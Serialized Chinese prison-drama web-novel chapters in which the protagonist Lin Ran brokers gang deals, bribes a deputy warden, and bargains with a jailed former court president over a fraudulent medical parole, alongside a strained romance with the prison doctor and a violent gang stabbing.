“意思就是——”林燃说,“码头帮的事,我不掺和。北佬帮的事,我也不掺和。我就在三监区待着,谁也别惹我,我也不惹谁。”
小霸王盯着他看了几秒。
然后他笑了。
那笑声很短,就两声,听着不像笑,倒像是什么东西卡在喉咙里。
“林燃,”他说,“你这话,说得轻巧。可在安江这地方,不站队,就是最大的队。”
林燃没接话。
小霸王把烟头按在烟灰缸里,捻灭。
他本想逼迫林燃的话却说不出口。
现在的林燃已经不是当年的独狼了。
他也是有自己的一方势力——血牙盟。
加上林燃的战绩,任何一方对他动手前,都有掂量掂量。
“行。”
他站起来,“你不站,我不逼你。但有个事,你得帮我。”
林燃看着他。
“什么事?”
“了难。”
“了难”这个词是安江本地话,类似于东北话里“平事”的意思。
“要我了什么难?”林燃问。
“林燃,你是个聪明人。”小霸王说:
“码头帮和北佬帮这么打下去,谁都落不着好。上面已经有人盯着了,再出几条人命,整顿下来,大家都完蛋。”
“所以呢?”
“所以——我想请你调个和。”
林燃放下碗,看着他。
小霸王那张脸上没什么表情,但眼神里有点东西——是那种被逼到墙角、不得不低头的无奈。
“你是码头帮的少当家。”林燃说,“让我一个外人调和你跟北佬帮的事,赵大金能同意?”
第一百七十八章 干部监区
“赵大金很欣赏你,我知道他们和你走的也近,我相信他们会听你的意见。”
小霸王顿了顿,“只要你肯出面。”
林燃靠在椅背上。
包厢里安静下来,只有那台旧空调嗡嗡响着,吹出来的风不凉,反倒有点闷。
他想起赵大金那张脸。那道疤,那个眼神,还有那句“我赵大金,不杀自己人”。
东北虎那种人,硬气,但也精明。码头帮和北佬帮这么打下去,他那边损失也不小。
小霸王能低头来求他,赵大金那边,估计也正愁找不到台阶。
“调和不难。”林燃开口,“但我有条件。”
小霸王眼睛眯了眯:“说。”
“第一,上次黑拳的钱,五千出场费加五千奖金,一共一万。拖了这么久,该给了。”
小霸王点点头:“这个应该的,明天让人送过来。”
林燃直接摇头:“不,不是明天,今天就要,这样,我给你个地址,你先往这里送三千,留我名字,后面余下的,充我监区账上。”
这一万块钱,够他办事了。
够喂李昌东,够进四监区,够见孙绍裘。
小霸王点头:“可以。”
“第二,”林燃继续说,“以后每个月,码头帮得给我这个数。”
他伸出三根手指。
小霸王眯起眼:“三百?”
“三千。”林燃说。
小霸王盯着他看了几秒,脸上的笑慢慢收了。
“三千?”他重复了一遍,“林燃,你知不知道三千是什么概念?就请你了个难。你一张嘴就要三千?”
林燃没说话,就看着他。
两人对视了几秒。
小霸王先移开视线。
他低头,又点了根烟,狠狠吸了一口。烟雾从鼻孔里喷出来,在灯光下翻卷着。
“行。”他说,“三千就三千。但你得先把北佬帮那边谈下来,还有,以后你帮我看着三监区那几摊生意,有什么风吹草动,提前告诉我。有人想伸手,你替我挡着。”
林燃点点头,这等于是罩场子,价钱算公道。
“三天。”他说,“三天后,给你答复。”
小霸王站起来,走到他面前,伸出手。
林燃也站起来,握住他的手。
两只手握在一起,都很用力。
小霸王盯着他的眼睛,压低声音:
“林燃,这次你要是办成了,码头帮记你一份。以后在三监区,你血牙盟的事,就是码头帮的事。”
林燃没接话。
他松开手,转身朝门口走去。
走到门口,他停下来,回头看了一眼。
小霸王还站在原地,手里夹着那根烟,烟雾在昏黄的灯光里慢慢升腾。
…………
吃完饭没多久。
林燃就收到小霸王那边从“老陈茶铺”那边带回的消息,说货已经送到了。
他知道这话什么意思——李昌东那边,已经收到了那三千块钱。
不是直接送到李昌东手里,是送到他小姨子开的那家烟酒店,换回一包出门就扔的茶渣,连个收据都没有。
这路子林燃已经走得熟了。
而李昌东不愧是专业的。
傍晚收工,林燃刚进监舍,就有人来叫。
“林燃,李监叫你过去一趟。”
来的是个林燃熟悉的管教,二十出头,脸上还带着点学生气——正是有段时间没见的“警校师兄”陈文。
陈文说话的时候眼神在林燃身上多停了两秒,眼神复杂。
带着点惊讶和好奇——林燃这段时间所作所为,他大概是听说了些的,加上被李昌东点名要见,
他很奇怪,为什么当年那么惨,看起来无处翻身的那个“警校师弟”,怎么突然变成了三监区的红人,一方人物,甚至能让李昌东亲自点名要见,让这位副监狱长奉如上宾。
林燃却没说话,只点点头,跟他走。
李昌东的办公室在办公楼二层,走廊尽头那间。门是半掩的,里面透出昏黄的灯光。
陈文敲了敲门,听见里头“进来”的声音,才推开门,侧身让林燃进去。
“李监,人带来了。”
李昌东坐在办公桌后面,手里拿着份文件,头也没抬:“嗯,你忙你的。”
陈文退出去,门关上了
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林燃站在门口,没动。
李昌东这才抬起头,看了他一眼。那眼神很平,脸上也没什么表情,但林燃注意到,他面前的烟灰缸里搁着半截没抽完的烟,烟灰还冒着热气——刚才正在抽。
“过来坐。”
李昌东下巴朝办公桌对面的椅子点了点。
林燃走过去,坐下。
办公室不大,一张办公桌,两个文件柜,墙上挂着面锦旗,写着“秉公执法”四个字。角落里那台窗式空调嗡嗡响着,吹出来的风有点凉。
李昌东把文件放下,身子往后靠在椅背上,盯着林燃看了几秒。
“你最近经常喝茶啊?”他开口,声音不高。
林燃没说话。
李昌东扯了扯嘴角,那表情说不清是笑还是别的什么。
“你小子,现在出息了。码头帮那边刚给你送钱,转头就送到我这儿来。怎么,是想告诉我,你现在不差钱了?”
李昌东认得码头帮派来的人,没想到给钱,留的却是林燃的名。
林燃摇摇头。
“李监,”他说,“那钱是我该给的。之前那两万,加上这三千,都是规矩。规矩不能坏。”
李昌东盯着他看了两秒,忽然笑了。
那笑声很短,就两声,听着倒不像是笑,倒像是松了口气。
讲规矩就好。
“行。”他站起来,走到窗边,背对着林燃,“你这次来找我,是有事吧?”
“是。”
“什么事?”
林燃想了想,说:“我想去四监区。”
李昌东转过身,看着他。
那眼神有点意外,也有点玩味。
“四监区?”他重复了一遍,“你知道那是什么地方吗?”
“知道。”林燃说,“干部监区。关的都是前官员、前法官、前警察。”
李昌东点点头,走回办公桌边,坐下。
“知道了,你就这样?”
他一边说,一边手指在桌上轻点了三下。
意思明显:四监区是什么地方?那可是干部犯住的地方!
你就花三千块,就想调过去?
捏鼻头做梦!
第一百七十九章 主要想学习
“不是,这钱我当然知道不够调动监区……”
“咳咳!”
林燃明白人家在讲价,他本想说穿,但被李昌东咳嗽声提醒,这下反应过来,没直接回答。
换了个委婉说法:
“李监,这个,这个,我在三监区待了一年多。这一年多,我学了不少东西——缝纫、法律、怎么跟人打交道。但我想再多学点,那边法律人才多,我希望能有机会和他们交流一下,当然,我知道我没资格调过去,能偶尔和他们学习学习就可以了。”
“哦,主要是想学习?”
林燃附和点头:“对对对,我这个学习的意愿,太旺盛了。”
李昌东眯起眼。
盯着他看了几秒。
那眼神很沉,沉得看不见底。
不是要调过去,只是和那边交流。
原来是这么回事。
但他还不放心。
“林燃,”他忽然开口,“你知道四监区那边,有多少人盯着吗?”
林燃没接话。
“省里、市里、系统内——”李昌东顿了顿,“那些人虽然进来了,可能量还在。管教对他们客气,是因为不想惹麻烦。你一个三监区的**犯,跑那边去,到底想干什么?说实话!”
林燃摇摇头,装作为难的样子,吞吞吐吐地,半真半假的解释道。
“不干什么。就是想长长见识,你也知道,我那案子上诉期了嘛,那边以前当干部的这么多,我想请教一下。”
半真半假的假话最有用。
李昌东看着他,想到干部监区那几个前法官,对了,还有前院长孙绍裘!
林燃是去找孙绍裘的!
他顿时明白过来,原来是这么一回事!
这上诉在国内基本是翻不了天的,但是实现减刑还是不难。
这小子这么年轻,想早点出去,回归正常生活的话。
二审上诉是一个机会。
他现在在里面有点影响力了,就想找这些以前的干部去帮他拉关系。
有点想法啊。
虽然有些绕,但还是李昌东能理解的范围内。
而这位副监狱长,对于林燃,不怕他乱来,就是怕不知道他为什么乱来。
毕竟连彭振都收拾不了他。
在这里还是有些实力的。
只是。
这小子还真奇怪啊,在这都这么钻研,要是出去了,那还得了!
不起飞了!
想到这,李昌东居然有些佩服起眼前的年轻人来。
思考的这半分钟,办公室里安静,只有空调嗡嗡的响声。
过了好一会儿,李昌东嘴角露出笑意,才又开口:
算了,反正不是冲自己来,有钱不赚天打雷劈!
“周四下午,有个思政改造学习小组的活动。二监区、四监区那边都有名额。”他顿了顿,“三监区这边,可以推荐一个人。”
林燃心里一动。
“我可以推荐你去。”
林燃点点头。
“感谢领导。”
李昌东盯着他看了几秒,然后挥了挥手。
“行了,回去吧。周四下午两点,到办公楼门口集合。有人会带你过去。”
…………
周四下午两点,阳光从高墙顶上斜着切下来,在放风场的水泥地上划出一道明暗分界线。
林燃站在三监区门口,等着点名。
来带人的是陈安。
他今天没穿警服,换了件深蓝色的便装夹克,脸上那点学生气还在,但比刚来时稳多了。
他手里拿着份名单,挨个点名——二监区三个,四监区两个,三监区一个。
念到“林燃”的时候,他抬起头,眼神在林燃脸上停了半秒。
那眼神里有东西。
好奇、警惕、还有些欣慰。
像是觉得自己这误入歧途的师弟,总算洗心革面,重新相信法律后的欣慰感。
甚至点到林燃时,还轻轻点头,递来一个鼓励的眼神。
林燃没吭声,走到队伍最后面。
一行六个人,排成一列,跟着陈安往监狱深处走。
穿过那道平时不开的铁门,绕过锅炉房,经过一片堆满废料的空地,再往前,就是四监区。
门是银灰色的,比三监区的门新一点,也厚一点。门上没窗户,只有个编号:04。
陈安刷卡,门锁咔嗒一声弹开。
门开的一瞬间,林燃就感觉
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到了不一样。
气味不一样。
三监区那边,永远混着汗臭、霉味、劣质肥皂和食堂泔水桶飘出来的馊味。这边却只有淡淡的消毒水味,还有一点——纸张和旧书混在一起的味道。
像图书馆。
往里走,走廊比三监区宽,灯也比那边亮。地面是**石地,磨得发亮,能照出人影。两边监舍的门都是半掩的,不像三监区那样焊得死死的。
林燃往里瞥了一眼。
四人监舍、双人监舍……甚至还有单人监舍。一张床,一张桌,一个书架。
桌上摆着书,摞得整整齐齐。有人坐在床边看书,听见脚步声,抬起头看了一眼,又低下去了。
那眼神很平,没什么表情,也没那种犯人对犯人的警惕或敌意。
就是看一眼,然后收回去了。
像在路上遇见陌生人,扫一眼,各走各的。
林燃想起三监区那边。
新犯人进来,老犯人得盯着看半天,眼神里全是掂量和算计。这边倒好,跟没事人似的。
“别看了。”陈安在前面低声说,“这边的人都这样,各过各的。”
林燃点点头,继续走。
走了大概五十米,陈安在一扇门前停下。
门上挂着个牌子,白底红字:学习室。
“进去吧。”他推开门,“两点半开始,四点半结束。别惹事。”
林燃走进去。
房间不大,摆了十来张课桌,每张桌子配一把塑料椅子。墙上挂着一块白板,上面写着“思政学习”几个字。
已经有几个人坐在里面了。
都是中年往上,五十来岁的样子,穿着统一的灰蓝色囚服,但气质和三监区那边完全不一样。有一个戴着眼镜,头发梳得一丝不苟,正低头看一本厚书;
另一个靠在椅背上,闭着眼,像是在养神;
还有个瘦高的,站在窗边,看着外面那堵高墙,不知道在想什么。
没人说话。
林燃找了靠墙的位置坐下。
房间里安静得能听见墙上挂钟的秒针走动,嗒,嗒,嗒。
林燃扫了一圈。
这些人——怎么看都不像犯人。
第一百八十章 学习小组
倒像是以前开会时见过的那些干部。坐有坐相,站有站相,眼神里带着点端着的东西。
就算穿着囚服,那东西也端在脸上。
门口又进来一个人。
林燃的目光在他身上停住了。
这人六十出头,头发花白,梳得一丝不苟。脸型瘦长,颧骨突出,戴着一副金丝边眼镜——不是监狱发的那种老花镜,是真正的好眼镜,镜片薄得几乎没有厚度。
他走路很慢,但很稳,每一步都踩得实。囚服在他身上,穿出了中山装的味道。
他走到靠窗那排中间的位置,坐下。从口袋里摸出一本书,翻开,低头看。动作不急不慢,像是坐在自家书房里。
林燃盯着他看了几秒。
孙绍裘。
这个人在前世,他是见过的——不是在监狱里,是在新闻上。
那时候他还是安江市中院院长,上电视讲话,**治建设,讲公平正义。
头发比现在黑,脸上也没这么多褶子,但那副金丝边眼镜,那副不紧不慢的派头,一模一样。
林燃当时还想过去找他、求他,希望能帮自己翻案。
可没过多久,马上又是这人**的消息。
而这一世,林燃怎么也没想到,自己有机会和这位大院长面对面坐着。
只是两人都身穿囚服,在高墙之下。
林燃收回目光。
学习小组的内容很无聊。
一个年轻管教拿着份文件念,念的是上面发下来的什么“改造心得”。
下面坐着的人都在听,但林燃看得出来,没几个人真在听。
那管教念了二十分钟,念完了,合上文件:“下面自由讨论,大家可以交流一下学习体会。”
自由讨论。
学习室里安静了几秒。
然后有人开口了,说的都是些套话——“深刻反思”“悔过自新”“感谢政府教育”之类的。一个个轮流说,跟开会发言似的。
林燃没开口。
他注意到,孙绍裘也没开口。
那人就坐在那儿,手里还捧着那本书,脸上什么表情也没有。轮到他发言的时候,他只说了八个字:
“认真学习,努力改造。”
然后继续低头看书。
林燃扯了扯嘴角。
这八个字,说得滴水不漏。既交了差,又什么都没说。果然是干过**的,话术练到家了。
三点半,休息时间。
学习室的门开着,走廊里摆了几把塑料椅子,上面放着暖水瓶和一次性纸杯。几个人出来倒水喝,站那儿小声说话。
林燃没去倒水。他走到走廊尽头,站在窗边,看着外面。
窗外是四监区的放风场——比三监区那边小,但干净。水泥地面扫得发亮,墙角甚至摆着几盆绿植,不知道是真的还是塑料的。
几个穿着灰蓝色囚服的人在里面慢慢走着,走得很慢,像是在散步。
脚步声从身后传来。
不重,很稳。
林燃没回头。
那人走到他旁边,在窗边站定。
两人隔着一步的距离,都看着窗外。
过了几秒,那人开口了。声音不高,带着点沙哑,但每个字都很清楚:
“你递了三次话。”
林燃转过头。
孙绍裘站在那儿,没看他,眼睛还盯着窗外那堵高墙。
阳光从外面照进来,落在他侧脸上,把那层花白的头发照得发亮。
“我知道今天有个三监区的犯人过来,我就猜到是你。”
林燃没接话。
这个时候,他不能太轻易被孙绍裘牵着鼻子走。
过了几秒,孙绍裘才慢慢转过头,看着林燃。
那眼神很沉。不是审视,不是警惕,就是看。像看一个物件,掂量着能用不能用。
“三监区那边的。”他说,“**,十年。进来一年多,把鳄老大废了,笑面佛**,白癜风收拾了,码头帮和北佬帮都递过橄榄枝。”
他顿了顿。
“还建了个帮派,叫血牙盟。”
林燃还是没说话,只是冷冷对峙。
孙绍裘盯着他看了两秒,嘴角动了动,像是个笑,又像不是。
“说实在的,你们这些犯人之间的打打杀杀,我完全不感兴趣,只是你找我,我才让人查了你一下,说吧,你找我什么事?”
说完这话,孙绍裘双手背在身后,头微微一仰,还是以前当领导时的气势,
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他甚至下意识的称呼林燃他们这些人为犯人,好像和他们不是穿同一件衣服一样。
要不是现在身陷囹圄,林燃真以为自己在单位里,向领导进行汇报。
呵,比气势?
林燃干脆不直接回话,也看着窗外。
阳光比刚才更强了点,照得那堵高墙上的电网发亮。有只鸟落在电线上,歪着头往这边看,又飞走了。
“帮你。”
隔了几秒,林燃才淡淡说。
孙绍裘没吭声,但眼神里明显有惊讶。
林燃转过头,看着他:“或者说,做个交易。”
孙绍裘还是没说话。他站在那儿,一只手插在囚服口袋里,另一只垂着。
阳光从侧面照过来,在他脸上切出一半光一半暗。
“一个判了十年的**犯,能帮一个前中院院长什么?”他开口,声音里带着点说不清的意味。
林燃没绕弯子。
“保外就医。”他说。
孙绍裘的眼睛眯了眯。
双肩不可遏止地细微颤动起来。
很细微的动作,他紧张了!
虽然极力遏止,但林燃还是注意到了。
“我听不懂你的意思。”
林燃冷笑:“明人不说暗话,我也没时间和你兜圈子,我就直接说吧,你是不是在搞保外就医?”
“你怎么知道我在办保外就医?我确实身体不行了,这个……”
孙绍裘语气开始含糊,面对林燃单刀直入的追问,他把不准眼前男人是在故弄玄虚,还是真能帮自己?
林燃没理他。
他看着孙绍裘,声音很平:
“高血压,糖尿病,冠心病——是吧?病历做漂亮点,外面再有人递话,明年春天就能出去,是这样安排的吧?”
孙绍裘的脸色变了。
就一下,很快,但林燃看见了。
那双一直很沉的眼睛里,有什么东西闪了闪。不是惊讶,是更深的东西——像是被人戳中了最怕的地方。
“你……”他开口,又停住。
林燃没等他问。
“你现在走的是彭振的路子,找的是刘长生做病历。”
他顿了顿说,“但现在,刘长生已经走了。”
第一百八十一章 证明
孙绍裘盯着他。
“你怎么知道?”
林燃没回答。
孙绍裘那眼神变得更沉。他往前走了半步,离林燃更近了点,声音压得极低:
“刘长生那事——是你干的?”
林燃没说话。
沉默是最好的回答。
孙绍裘盯着他看了好几秒。
然后他往后退了一步,靠在窗边。
窗外那只鸟又飞回来了,落在电线上,叽叽喳喳叫着。阳光落在它身上,把羽毛照得发亮。
“保外就医这事儿,”孙绍裘开口,声音比刚才低了不少,“我办了半年。彭振那边,已经收了钱。病历也差不多了,就差最后一步——刘长生签字。”
他顿了顿。
“刘长生一走,这事儿就卡住了。”
林燃点点头。
“我知道。”
孙绍裘看着他,那眼神复杂极了。
“所以你是来告诉我,你能帮我办下来?”
“对。”
“凭什么?”
林燃没直接回答。他看着窗外那只鸟,过了几秒,才开口:
“保外就医,关键是两条。第一,病历做漂亮。第二,医院那边出诊断证明。刘长生走了,但医务室还在。谁签字,谁盖章,最后还得看医务室那帮人。”
他转过头,看着孙绍裘。
“医务室那边,我能说上话。”
孙绍裘盯着他。
那眼神里有点东西——不是信,也不是不信,是掂量。
“你一个三监区的**犯,能在医务室说上话?”
林燃没解释。
“你信也好,不信也好。”他说,“刘长生走了之后,医务室那边谁说了算,你应该比我清楚。”
孙绍裘沉默了。
过了好几秒,他才开口:
“你想要什么?”
林燃看着他。
“帮我调个人。”
“调人?”
“有个刚判的犯人,叫狗皮蛇。**,十五年,现在在看守所等着服刑。”林燃说,“我想让他来安江。”
孙绍裘愣了一下。
他看着林燃,那眼神像是在看一个疯子。
“你知道你在说什么吗?”
“知道。”
“调犯人服刑地——这事得**点头,得**同意。我一个**的院长,在里边蹲着,你让我帮你调人?”
林燃没说话,就看着他。
孙绍裘被他那眼神看得有点发毛。
“你凭什么觉得我能办成这事?”
林燃说:“你在中院干了三十年。上上下下,都是你的人。你现在虽然进来了,但人还在,关系还在。递句话出去,不难。”
孙绍裘盯着他看了几秒。
然后他笑了。
那笑声很轻,就两声,听着不像笑,倒像是叹气。
“林燃,”他说,“你胆子太大了。”
林燃没接话。
孙绍裘靠在窗边,看着窗外那堵墙。
阳光慢慢移过去,把他半边脸照得发亮,另半边藏在阴影里。
过了好一会儿,他才又开口:
“就算我答应你。可你怎么证明——你能帮我办下保外就医?”
林燃心里咯噔一下。
怎么证明?
医务室那边,苏念晚现在见都不愿意见他。
可这话不能说。
孙绍裘看着他,像是在等。
林燃想了想,开口:
“你想我怎么证明?”
孙绍裘慢慢转过头,看着他。
“医务室那边,现在是谁负责?”
林燃沉默了两秒。
“苏念晚。”
孙绍裘点点头。
“嗯,那个女医生,长得倒是挺漂亮,身材也……”
说这些时,孙绍裘盯着他,就是要看林燃的反应,窥探两人的关系。
林燃心里有火,脸上如冰,没有说话。
见眼前小子和苏念晚没有特别的迹象,孙绍裘恢复了平常语气,继续说道:
“也是,她以前给刘长生打过下手,现在刘长生走了,她应该顶上来了。”
他顿了顿,“你说你能影响苏念晚,我需要证明,刚好过两天我要去医务室复查,我需要看到‘证据’。”
林燃站在那儿,心里那点火,慢慢烧起来。
这位前院长的架子让他很烦,开口闭口的证据、证明。
好像现在和自己穿的不是同一件囚服一样。
但林燃没办法。
要想把狗皮蛇弄过来,目前只能通过这个家伙。
而现在的关键是……<
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br>苏念晚。
又是苏念晚。
老严那句话之后,她已经几天没理他了。
现在他要去求她帮忙?
她还在生气吧?她会同意?
都说了以后形同陌路,现在怎么去求她?
但林燃没有别的选择。
“行。”他说。
孙绍裘点点头,没再说话。
走廊那头传来脚步声,是陈安走过来,喊着“集合了,学习结束”。
林燃转身往回走。
走了几步,他停下来,回头看了一眼。
孙绍裘还站在窗边,阳光把他整个人都照成了剪影,看不清表情。
只有那副金丝边眼镜,反射着一点光,亮得刺眼。
回去的路上,林燃一句话没说。
刀疤辉在312门口等着,见他回来,蹭地站起来:“燃哥,怎么样?”
林燃摇摇头,没说话,推门进去。
监舍里其他几个人都在,看见他那表情,没人敢问。
林燃在自己铺位上坐下,靠着墙,闭上眼。
脑子里转着孙绍裘那句话:
“你能让她开个证明吗?”
证明。
怎么证明?
苏念晚那边——
他睁开眼,看着窗外那堵墙。
墙上的电网在夕阳里泛着红光,有鸟落在上面,又飞走了。
明天得去一趟医务室。
可去了怎么说?
说“我需要你帮我开个证明,证明咱们还有关系”?
那姑娘听了,能信?
林燃揉了揉眉心。
比对付白癜风还麻烦。
不想了,明天去了再说。
…………
下午,医务室。
走廊里的消毒水味还是那么重,混着一点凉意——窗户开着条缝,风吹进来,把墙上那张人体解剖图的边角吹得轻轻翻动。
林燃做了一天的心理建设,临门还是有些紧张。
所幸推门进去的时候,苏念晚正背对着门,在处置台前整理什么,两人避免了视线交错的尴尬。
她穿着那件洗得发白的白大褂,头发用黑色皮筋扎着,露出一截细白的脖颈。
听见门响,她没回头。
“换药?”声音很平,像在问一件跟谁都无关的事。
第一百八十二章 我是你的什么?
因为监狱想见医生都是预约制,不用回头,她都知道来的是林燃。
林燃“嗯”了一声,背好的台词说不出口,只能在处置床边坐下。
她这才转过身,手里拿着镊子和碘伏棉球。脸上没什么表情,眼睛也没看他,就盯着他那条左腿。
“袖子撸起来。”她说。
林燃把裤腿往上卷了卷,露出那道已经结痂的旧伤。
她戴上橡胶手套,动作很轻,但也很机械。拆开旧绷带,用棉球擦拭伤口边缘,涂药膏,换上新绷带——每一步都做得很到位,很专业,就是不抬头。
林燃倒好一点,他看着她。
她睫毛垂着,在眼睑下投出一小片阴影。嘴
唇抿着,抿得很紧,嘴角那点弧度硬邦邦的,像石头刻的。
而今天白大褂领口扣得规规矩矩,最上面那颗扣子都系着,但即使这样,也勒出两股深深的轮廓,十分雄伟壮观。
林燃不自觉的吞了口口水。
他的异样和动静,让苏念晚第一次抬起头。
正对上目光炯炯的林燃。
她顺着林燃的眼神往下,自然明白他在看哪。
顿时脸上厌恶的表情更甚!
果然,这男人只是把我当做发泄的工具!
而被抓包的林燃,这下有些无处解释,他赶紧移开目光,想解释,又不知怎么开口。
“那个……”
“治疗期间请不要说话!”
苏念晚带着溫怒语气。
林燃赶紧闭嘴,怪自己没管住目光,明明是来求和的,怎么把事情反而搞砸了。
整个处置室里只有器械碰撞的轻微声响,和窗外偶尔传来的、远处放风场的哨声。
过了一会。
“好了。”她把最后一截绷带按好,站起来,“可以走了。”
林燃没动。
“苏医生。”
她顿了一下,很轻微的一下,然后继续收拾那些用过的棉球和绷带,往废物桶里扔。
“换好了。”她重复了一遍,声音更平了,“走吧。”
林燃看着她。
她站在处置台边,背对着他,肩膀绷得很直。阳光从窗户斜射进来,落在她侧脸上,把那层薄薄的皮肤照得几乎透明。
“你听我说——”
“没什么好说的。”她打断他,还是没回头。
林燃站起来,走到她旁边。
她没动,就站在那儿,手里攥着一卷没用完的绷带,攥得指关节发白。
“苏念晚。”他叫她的名字。
她终于转过头,看着他。
那眼神让林燃愣住了。
不是恨。
不是怨。
是一种他从来没见过的、彻底的冷漠。
像冬天的水,结了一层冰,冰底下什么都没有。
“你别这样,我们两之前……”
林燃被她这样冷的眼神吓住了,他开口想解释。
“我们两?林燃……”却被苏念晚打断。
她声音很平,平得像机器在说话,“你是我什么人?”
林燃没说话。
“我是你什么人?”她继续问,语气没变,但每个字都像钉子,“病人?工具?还是——”
她顿了顿,嘴角扯了扯,扯出一个很淡很淡的弧度,淡得几乎看不出来,但林燃看见了。
那弧度里没温度。
“还是你在外面那个女朋友的替代品?”
林燃喉咙动了动。
“她不是——”
“她是什么跟我没关系。”苏念晚打断他,声音还是那么平,平得瘆人。
“你是什么人,你要干什么,你外面有多少女人——都跟我没关系。”
她顿了顿。
“我只是个医生。你是病人。以后换药,我换,你来,换完就走。别的事,别谈了。”
她转身走到门口,拉开门。
门把手在她手里攥着,指关节泛白。
“请。”
林燃看着她。
她站在门边,侧脸对着他,下巴绷得很紧。睫毛在颤——很轻微,但她自己可能都没意识到。
他想说什么。
可说什么呢?
说“我跟她真的没什么”?这话听着像狡辩。
说“那是演戏,为了办案”?可这是林燃的死穴,这些话不能说。
说“我需要你帮忙,帮我开个证明给孙绍裘看”?这话说出来,她自己就是工具。
哪个都不对。
林燃沉默了两秒
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。
然后他走过去,走到门边。
两人离得很近,近到能闻见她身上那股淡淡的栀子花香——还是那股香味。
她没看他,眼睛盯着门外那堵灰白色的墙。
林燃想伸手,碰碰她的肩膀。
手抬起来一半,又放下了。
他跨出门槛。
门在身后关上,很轻的一声响,但震得人心里发麻。
走廊里空荡荡的,惨白的日光灯管嗡嗡响着。他往前走,脚步踩在水泥地上,一下一下,像是踩在自己心上。
走到拐角处,他停下来,回头看了一眼。
那扇门还关着,什么也看不见。
只有消毒水的味道,从门缝里渗出来,混着那股淡淡的、几乎闻不见的栀子花香。
---
312监舍。
熄灯已经一个多小时了。
刀疤辉的呼噜声在黑暗里响得有节奏,像台老掉牙的拖拉机,突突突,中间夹着几声抽气——他腹部的伤没好利索,翻身时扯着了。
周晓阳睡沉了,又开始磨牙,咯吱咯吱的,像老鼠啃铁栏杆。
麻杆和牛哥挤在靠水池那张铺上,偶尔翻身时床板吱呀响。
林燃没睡。
他躺在上铺,睁着眼,盯着天花板那道裂缝。
探照灯的光每隔十五秒扫过一次,裂缝就在明暗之间交替显现,像道永远愈合不了的伤疤。
脑子里反复出现那个画面——
她站在门边,侧脸对着他,下巴绷得紧,睫毛在颤。
还有那句“你是我什么人”。
他答不上来。
真的答不上来。
一开始是工具。她伪造病历,被他抓住把柄,拿捏在手里。那时候她看他的眼神,是怕,是躲,是不得已的顺从。
后来是盟友。她帮他拿药,帮他盯着刘长生,帮他给母亲寄钱。那时候她看他的眼神,多了点东西——信任,还有一点说不清的依赖。
再后来——
再后来是什么?
是处置室那个下午。她蜷在他怀里,头发散开,脸上有泪痕,也有笑。她说“我这条命是你的了”。他抱着她,说“喜欢”。
那时候他以为,这就够了。
第一百八十三章 冲突
可现在想想,什么叫“够了”?
她问他“你是我什么人”,他答不上来。不是不知道,是不敢答。
女朋友?
可他外面确实有个“女朋友”——虽然是假的,是演戏,是为了办案。但这话能说吗?说了她信吗?
不是女朋友,那是什么?
他说不清楚。
但有一点是清楚的:他不想失去她。
不是因为她在医务室的作用,不是因为她的价值,不是因为她能帮他办保外就医、开证明给孙绍裘看。
就是……不想失去。
这个人,这个女人,穿着白大褂站在处置台边的样子,蹲在地上给他换药时长发垂下来的样子,被他抱着时睫毛颤抖的样子——
他不想失去。
窗外的探照灯光又扫过一次,明,暗。
林燃坐起来。
刀疤辉的呼噜停了一下,迷迷糊糊嘟囔了句什么,又翻个身继续打。
林燃下床,光着脚走到窗边。
窗外是高墙,墙上是电网,电网上面是天。天是黑的,一颗星星都没有。远处锅炉房的烟囱杵在黑暗里,像个沉默的巨人。
他想起孙绍裘那句话:
“我需要看到‘证据’。”
证据。
怎么证明?
让苏念晚开个证明,证明她跟他还有关系?
这话说出来,她怕是连门都不会让他进。
可要是办不成这事,狗皮蛇来不了安江,姚永军那条线就彻底断了。他这十年牢,就真的是“咎由自取”了。
林燃站在窗边,看着外面那堵墙。
墙上有根铁丝松了,在风里晃,一下一下地敲着水泥,笃,笃,笃。
医务室那边,得再想办法。
但不是现在。
现在苏念晚那个状态,去一次碰一次钉子。越碰越僵,越僵越难办。
得等。
等她那口气消一点,等她愿意听他说话。
可时间不等人。
狗皮蛇那边,不知道什么时候就会送走。孙绍裘那边,保外就医的事也拖不起。
林燃靠在窗边,看着那堵墙。
墙上的铁丝还在晃,笃,笃,笃。
他想起了前世。
瘫痪在床那十年,唯一能做的事就是看新闻、读报纸、琢磨那些他原本该穿着的警服背后,那些条文和程序是怎么运作的。
那时候他以为,这辈子就这么完了。
没想到还能重来一次。
重来一次,不是为了看一个女人脸色的。
他深吸一口气。
等不了,也得等。
有些事,急不来。
窗外的探照灯光扫过,明,暗。
他转身走回铺位,躺下。
闭上眼前,脑子里又闪过那个画面——
她站在门边,侧脸对着他,睫毛在颤。
林燃咬了咬牙。
等这事了了,他一定得把话说清楚。
哪怕她不信。
哪怕她把他轰出去。
也得说。
可就在这时,监舍的外突然嘈杂起来。
噼噼啪啪,脚步声,喊叫声,管教的训斥声,一下把整个监区都惊动了。
林燃坐起来。
刀疤辉他们也醒了。
“燃哥?”
林燃冲他摆了摆手,下床,光着脚走到门边。
一股淡淡的、熟悉的血腥味钻进林燃鼻子里。
“外面出事了!”
众人都来到门边,透过栅栏往外看。
像是回应几人的目光。
外面的动静平静下来,只余下管教偶尔的训斥。
看来事情结束了。
接着,几个脚步声传来。
三名管教拥着一个受伤的犯人,往医务室去,正经过312监舍门口。
刀疤辉感叹:“艹,打成这样了!”
只见被抬着的犯人,三十来岁,脸上有道新鲜的口子,从左眉斜劈到嘴角,血还没干透,顺着下巴往下滴。
人喘着粗气,两名管教抬着,一个管教专门用手捂着那犯人的腹部——那里的囚服已经被血浸透了,黑红一片,一截黑红肉色的事物从伤口垂落下来。
那是拖在地上的肠子。
“开膛了!谁下手这么凶!?”
“这人我认识,码头帮的!”
312监舍的声音,让那人睁开眼。
他看见林燃,他眼睛居然亮了亮,嘴唇动了动,想说什么,但没说出来。
刀疤辉已经凑过来,倒吸一口凉气。
“燃哥,这是——阿华,码头帮的一个骨干
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,肯定是北佬帮那班……”
林燃没让他说完。
“走,别看了。”他说。
几个人回到监舍,外面动静也平息下来,只余地上的血迹和空气中的血腥。
“杀红眼了,这是。”
刀疤辉躺在床上感慨道。
林燃心里明白,这上次答应的调停,是现在的燃眉之急了。
…………
果然,码头帮的人第二天一早就来了。
不是大眼仔,是个生面孔,三十来岁,脸上有刀疤,走路肩膀晃着。
早餐队列后,他凑过来,眼神在林燃身上停了停。
“燃哥,王哥让我来问问,那事怎么样了?”
林燃正蹲在系鞋带。闻言没抬头:“急什么。”
刀疤辉在旁边蹭地站起来,挡在林燃和那人对视的视线中间:“**谁啊?这样和我们老大说话?”
